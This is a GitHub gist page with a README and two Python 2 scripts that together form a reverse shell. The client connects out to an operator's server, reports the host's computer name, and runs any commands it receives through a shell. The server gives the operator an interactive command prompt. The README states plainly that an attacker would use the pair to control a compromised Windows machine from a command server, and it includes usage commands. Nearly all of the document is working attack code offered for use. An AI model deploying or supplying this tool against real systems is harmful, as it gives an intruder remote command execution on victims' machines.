Skip to content

Instantly share code, notes, and snippets.

@goldalworming
Forked from mike10004/README.md
Created February 18, 2016 05:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save goldalworming/a7472d706dd3e7794076 to your computer and use it in GitHub Desktop.
Save goldalworming/a7472d706dd3e7794076 to your computer and use it in GitHub Desktop.
Reverse Shell Using Python

Reverse Shell Using Python

Via http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/ with some style changes (to use classes instead of globals).

Requirements:

  • a client: a Windows machine with Python installed (tested on Server 2012; probably works on 7 and 8 too)
  • a server: a Linux machine (might work elsewhere)

An attacker would use a pair of scripts like this to control a compromised Windows box from her command server. The idea is that you run revshell_server.py on the server in a terminal window (and just hang out as it listens for a connection). When the client executes revshell_client.py, a prompt will appear in the server console, awaiting commands.

Suppose your server IP address is 1.2.3.4

Execute on server:

$ python revshell_server.py

Execute on client:

C:\> python revshell_client.py 1.2.3.4
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_client.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import socket, os, subprocess, sys, re
class ReverseShellClient:
s = None
def connect(self, host, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
port = int(port)
try:
print '[!] trying to connect to %s:%s' % (host, port)
self.s.connect((host, port))
print '[*] connection established'
self.s.send(os.environ['COMPUTERNAME'])
except:
print >> sys.stderr, 'could not connect'
def receive(self):
received = self.s.recv(1024)
tokens = re.split('\s+', received, 1)
command = tokens[0]
if command == 'quit':
self.s.close()
elif command == 'shell':
if len(tokens) > 1:
proc2 = subprocess.Popen(tokens[1], shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output = proc2.stdout.read() + proc2.stderr.read()
else:
output = 'args must follow "shell"'
else:
output = 'valid input is "quit" or "shell <cmd>" (e.g. "shell dir")'
self.send(output)
def send(self, output):
self.s.send(output)
self.receive()
def stop():
self.s.close()
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('host')
p.add_argument('--port', '-p', type=int, default=58777)
args = p.parse_args()
client = ReverseShellClient()
client.connect(args.host, args.port)
client.receive()
client.stop()
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# revshell_server.py
# http://null-byte.wonderhowto.com/how-to/reverse-shell-using-python-0163875/
import sys, os, os.path
import socket
class ReverseShellServer:
host = ''
port = None
s = None
max_bind_retries = 10
conn = None
addr = None
hostname = None
def create(self, port):
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.port = port
def bind(self, current_try=0):
try:
print "listening on port %s (attempt %d)" % (self.port, current_try)
self.s.bind((self.host, self.port))
self.s.listen(1)
except socket.error as msg:
print >> sys.stderr, 'socket binding error:', msg[0]
if current_try < self.max_bind_retries:
print >> sys.stderr, 'retrying...'
self.bind(current_try + 1)
def accept(self):
try:
self.conn, self.addr = self.s.accept()
print '[!] session opened at %s:%s' % (self.addr[0], self.addr[1])
self.hostname = self.conn.recv(1024)
self.menu()
except socket.error as msg:
print >> sys.stderr, 'socket accepting error:', msg[0]
def menu(self):
while True:
cmd = raw_input(str(self.addr[0]) + '@' + str(self.hostname) + '> ')
if cmd == 'quit':
self.conn.close()
self.s.close()
return
command = self.conn.send(cmd)
result = self.conn.recv(16834)
if result <> self.hostname:
print result
def main(args):
server = ReverseShellServer()
server.create(args.port)
server.bind()
server.accept()
print '[*] returned from socketAccept'
return 0
if __name__ == '__main__':
from argparse import ArgumentParser
p = ArgumentParser()
p.add_argument('--port', '-p', type=int, default=58777)
args = p.parse_args()
code = main(args)
exit(code)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment